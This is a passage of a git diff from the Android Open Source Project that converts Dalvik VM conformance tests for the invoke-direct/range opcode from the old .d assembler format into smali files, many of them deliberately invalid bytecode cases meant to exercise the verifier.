@@ -0,0 +1,70 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_21.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private test(II)I
+.registers 7
+       const v0, 999
+       const v1, 888
+       const v2, 777
+       
+       div-int v4, v5, v6
+       
+       return v4
+.end method
+
+.method public run()I
+.registers 7
+       const v0, 111
+       const v1, 222
+       const v2, 333
+       
+       const v4, 50
+       const v5, 25
+         move-object v3, v6
+       invoke-direct/range {v3..v5}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21;->test(II)I
+       move-result v3
+       
+       const v4, 2
+       if-ne v3, v4, :Label30
+       
+       const v4, 111
+       if-ne v0, v4, :Label30
+       
+       const v4, 222
+       if-ne v1, v4, :Label30
+       
+       const v4, 333
+       if-ne v2, v4, :Label30
+
+       const v0, 1       
+       return v0
+:Label30
+        const v0, 0
+        return v0
+        
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_24.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_24.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_24.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_24.smali
new file mode 100644
index 0000000..c26fe89
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_24.smali
@@ -0,0 +1,86 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_24;
+.super Ljava/lang/Object;
+.source "T_invoke_direct_range_24.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private test(II)I
+    .registers 7
+
+    const v0, 0x3e7
+
+    const v1, 0x378
+
+    const v2, 0x309
+
+    div-int p0, p1, p2
+
+    return p0
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 7
+
+    const v0, 0x6f
+
+    const v1, 0xde
+
+    const v2, 0x14d
+
+    const-wide v4, 0x32
+
+    move-object v3, p0
+
+    invoke-direct {v3, v5}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_24;->test(II)I
+
+    move-result v3
+
+    const v4, 0x2
+
+    if-ne v3, v4, :cond_2b
+
+    const v4, 0x6f
+
+    if-ne v0, v4, :cond_2b
+
+    const v4, 0xde
+
+    if-ne v1, v4, :cond_2b
+
+    const v4, 0x14d
+
+    if-ne v2, v4, :cond_2b
+
+    const v0, 0x1
+
+    return v0
+
+    :cond_2b
+    const v0, 0x0
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_25.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_25.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_25.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_25.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_25.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_25.smali
new file mode 100644
index 0000000..52dd18e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_25.smali
@@ -0,0 +1,49 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_25;
+.super Ldot/junit/opcodes/invoke_direct_range/TSuper;
+.source "T_invoke_direct_range_25.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_direct_range/TSuper;-><init>()V
+
+    return-void
+.end method
+
+.method private test()V
+    .registers 1
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 6
+
+    new-instance v2, Ldot/junit/opcodes/invoke_direct_range/TPlain;
+
+    invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct_range/TPlain;-><init>()V
+
+    invoke-direct/range {v2 .. v2}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_25;->test()V
+
+    move-result v0
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.smalis/TTestInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.smalis/TTestInterface.smali
new file mode 100644
index 0000000..79c0986
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.smalis/TTestInterface.smali
@@ -0,0 +1,22 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_direct_range/d/TTestInterface;
+.super Ljava/lang/Object;
+.source "TTestInterface.java"
+
+
+# virtual methods
+.method public abstract test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.smalis/TTestInterfaceImpl.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.smalis/TTestInterfaceImpl.smali
new file mode 100644
index 0000000..d2d9529
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.smalis/TTestInterfaceImpl.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct_range/d/TTestInterfaceImpl;
+.super Ljava/lang/Object;
+.source "TTestInterfaceImpl.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_direct_range/d/TTestInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.smalis/T_invoke_direct_range_26.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.smalis/T_invoke_direct_range_26.smali
new file mode 100644
index 0000000..0dcf0aa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.smalis/T_invoke_direct_range_26.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26;
+.super Ldot/junit/opcodes/invoke_direct_range/d/TTestInterfaceImpl;
+.source "T_invoke_direct_range_26.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_direct_range/d/TTestInterfaceImpl;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 8
+
+    invoke-direct/range {p0 .. p0}, Ldot/junit/opcodes/invoke_direct_range/d/TTestInterface;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27.smali
new file mode 100644
index 0000000..1e4dee2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27;
+.super Ljava/lang/Object;
+.source "T_invoke_direct_range_27.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()V
+    .registers 3
+
+    new-instance v0, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27;
+
+    invoke-direct/range {v0 .. v0}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27;->test()V
+
+    return-void
+.end method
+
+.method private test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3.d
deleted file mode 100644
index 056f2c2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_3.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct/range {v2}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3.smali
new file mode 100644
index 0000000..e39d99f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_3.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_4.smali
new file mode 100644
index 0000000..8405ff5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_4.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_4;
+.super Ljava/lang/Object;
+.source "T_invoke_direct_range_4.java"
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 1
+
+    return-void
+.end method
+
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-direct/range {p0 .. p0}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_4;-><clinit>()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5.d
deleted file mode 100644
index 4ec85bb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_5.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct/range {}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5.smali
new file mode 100644
index 0000000..ab5fa74
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_5.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_6.d
deleted file mode 100644
index cda9caf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_6.d
+++ /dev/null
@@ -1,27 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_6.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V    
-       invoke-direct/range {v1}, dot/junit/opcodes/invoke_direct_range/TSuper/toIntPvt()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_6.smali
new file mode 100644
index 0000000..6cc7a45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_6.smali
@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_6.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V    
+       invoke-direct/range {v1}, Ldot/junit/opcodes/invoke_direct_range/TSuper;->toIntPvt()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7.d
deleted file mode 100644
index 0e7aab0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_7.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct/range {v2}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7/toInt()I
-       const v0, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7.smali
new file mode 100644
index 0000000..cf5bc55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_7.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7;->toInt()I
+       const v0, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8.d
deleted file mode 100644
index 946c65f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_8.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const/4 v1, 0
-       invoke-direct/range {v1}, dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_8/toInt()I
-
-       move-result v0
-       return v0
-.end method
-
-
-.method private toInt()I
-.limit regs 1
-    const v0, 0
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8.smali
new file mode 100644
index 0000000..a7d04bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_8.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/4 v1, 0
+       invoke-direct/range {v1}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8;->toInt()I
+
+       move-result v0
+       return v0
+.end method
+
+
+.method private toInt()I
+.registers 1
+    const v0, 0
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_9.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_9.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_9.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_9.smali
new file mode 100644
index 0000000..a9a3235
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_9.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
